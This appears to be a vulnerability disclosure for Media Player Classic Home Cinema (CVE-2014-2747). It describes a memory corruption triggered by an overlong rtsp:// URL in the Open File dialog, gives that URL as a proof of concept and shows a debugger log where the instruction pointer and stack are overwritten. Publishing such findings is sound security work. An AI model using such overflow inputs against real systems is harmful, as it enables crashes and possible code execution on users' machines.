# Exploit Title: [Media Player Classic Memory Corruption]
# Date: [2014/04/13]
# Exploit Author: [Aryan Bayaninejad]
# Linkedin : https://www.linkedin.com/profile/view?id=276969082
# Vendor Homepage: [http://mpc-hc.org/]
# Software Link: [
http://sourceforge.net/projects/mpc-hc/files/MPC%20HomeCinema%20-%20Win32/MPC-HC%20v1.3.1249.0_32%20bits/
]
# Version: [Version 1.3.1752.0 and 1.3.1249.0]
# Tested on: [Windows Xp Sp 3 Version 2002]
# CVE : [CVE-2014-2747]
details:
The root cause of the vulnerability is related to handling the rtsp
protocol in open file, when opening a file in media player classic, it's
not able to parse the rtsp protocol with long strings correctly & caused a
memory corruption vulnerability, this is due to the wrong parsing of rtsp
protocol in OpenFile menu .
rtsp://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Log data, item 0
Address=FEEEFEEE
Message=Access violation when executing [FEEEFEEE]
EAX 01EA5730
ECX 02E21840
EDX FEEEFEEE
EBX 00000000
ESP 0012F6CC
EBP FFFFFFFF
ESI 012124E0
EDI 00000000
EIP FEEEFEEE
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FFDF000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty -2.8591239712727915520e+4908
ST1 empty -UNORM F700 0000002C 84F12DA8
ST2 empty 0.0194887299572376640e-4933
ST3 empty 1.5530773741217080320e-4124
ST4 empty +UNORM 6E64 00000000 B9EFA280
ST5 empty 1.0000000000000000000
ST6 empty 8000000.0000000000000
ST7 empty 0.0
3 2 1 0 E S P U O Z D I
FST 4020 Cond 1 0 0 0 Err 0 0 1 0 0 0 0 0 (EQ)
FCW 007F Prec NEAR,24 Mask 1 1 1 1 1 1
0012D58A 00410041 mpc-hc.00410041
0012D58E 00410041 mpc-hc.00410041
0012D592 00410041 mpc-hc.00410041
0012D596 00410041 mpc-hc.00410041
0012D59A 00410041 mpc-hc.00410041
0012D59E 00410041 mpc-hc.00410041
0012D5A2 00410041 mpc-hc.00410041
0012D5A6 00410041 mpc-hc.00410041
0012D5AA 00410041 mpc-hc.00410041
0012D5AE 00410041 mpc-hc.00410041
0012D5B2 00410041 mpc-hc.00410041
0012D5B6 00410041 mpc-hc.00410041
0012D5BA 00410041 mpc-hc.00410041
0012D5BE 00410041 mpc-hc.00410041
0012D5C2 00410041 mpc-hc.00410041
0012D5C6 00410041 mpc-hc.00410041
0012D5CA 00410041 mpc-hc.00410041
0012D5CE 00410041 mpc-hc.00410041
0012D5D2 00410041 mpc-hc.00410041
0012D5D6 00410041 mpc-hc.00410041
0012D5DA 00410041 mpc-hc.00410041
0012D5DE 00410041 mpc-hc.00410041
0012D5E2 00410041 mpc-hc.00410041
0012D5E6 00410041 mpc-hc.00410041
0012D5EA 00410041 mpc-hc.00410041
0012D5EE 00410041 mpc-hc.00410041
0012D5F2 00410041 mpc-hc.00410041
0012D5F6 00410041 mpc-hc.00410041
0012D5FA 00410041 mpc-hc.00410041
